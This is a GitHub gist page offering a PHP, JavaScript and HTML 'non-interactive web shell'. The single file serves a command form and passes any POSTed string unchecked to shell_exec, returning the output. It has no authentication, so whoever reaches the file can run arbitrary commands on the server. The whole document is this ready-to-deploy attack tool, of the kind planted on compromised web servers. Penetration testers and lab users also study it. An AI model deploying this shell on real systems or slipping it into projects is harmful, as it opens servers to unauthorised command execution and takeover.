Skip to content

Instantly share code, notes, and snippets.

@timsonner
Last active February 7, 2025 06:27
Show Gist options
  • Select an option

  • Save timsonner/6a08759baddc55d54cfdce81a0f18247 to your computer and use it in GitHub Desktop.

Select an option

Save timsonner/6a08759baddc55d54cfdce81a0f18247 to your computer and use it in GitHub Desktop.
PHP, Javascript, HTML Non-Interactive web shell

PHP, Javascript, HTML non-interactive web shell

php-linux-shell.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Non-Interactive Shell</title>
    <script>
        async function executeCommand() {
            const command = document.getElementById("command").value;
            const response = await fetch(window.location.href, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ command: command })
            });

            try {
                const result = await response.json();
                document.getElementById("output").innerText = result.output;
            } catch (error) {
                document.getElementById("output").innerText = "Error: Invalid response";
            }
        }
    </script>

</head>
<body>
    <h1>Non-Interactive Shell</h1>
    <form onsubmit="event.preventDefault(); executeCommand();">
        <label for="command">Command:</label>
        <input type="text" id="command" name="command">
        <input type="submit" value="Execute">
    </form>
    <pre id="output"></pre>

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    header('Content-Type: application/json');
    ob_end_clean();

    $request = json_decode(file_get_contents('php://input'), true);
    if (!isset($request['command'])) {
        echo json_encode(["output" => "Error: No command provided"]);
        exit();
    }

    $command = $request['command'];
    $output = shell_exec("$command 2>&1"); 

    echo json_encode(["output" => trim($output)], JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
    exit();
}
?>

</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment